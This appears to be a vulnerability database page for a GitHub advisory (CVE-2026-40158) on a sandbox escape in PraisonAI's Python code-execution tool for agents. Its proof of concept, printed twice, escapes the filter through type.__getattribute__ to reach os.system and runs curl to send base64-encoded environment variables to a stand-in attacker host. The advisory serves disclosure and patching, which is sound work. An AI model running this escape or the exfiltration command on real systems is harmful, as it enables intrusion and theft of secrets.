GHSA-3C4R-6P77-XWR7

Vulnerability from github – Published: 2026-04-10 19:25 – Updated: 2026-04-10 19:25
VLAI?
Summary
PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure
Details

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')

        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

  • Access sensitive data such as environment variables, API keys, and local files
  • Execute arbitrary system commands
  • Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.


Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)

    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)

    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:25:39Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "HIGH"
  },
  "details": "PraisonAI\u0027s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, \u0027__subclasses__\u0027)  # Bypasses filter\n```\n\nThe string `\u0027__subclasses__\u0027` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, \u0027__bases__\u0027)\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, \u0027__subclasses__\u0027)\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, \u0027__name__\u0027) == \u0027_wrap_close\u0027:\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, \u0027__init__\u0027)\n        glb = type(init).__getattribute__(init, \u0027__globals__\u0027)\n        \n        # Get system function and execute\n        system = glb[\u0027system\u0027]\n        system(\u0027curl https://attacker.com/steal --data \"$(env | base64)\"\u0027)\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)",
  "id": "GHSA-3c4r-6p77-xwr7",
  "modified": "2026-04-10T19:25:39Z",
  "published": "2026-04-10T19:25:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…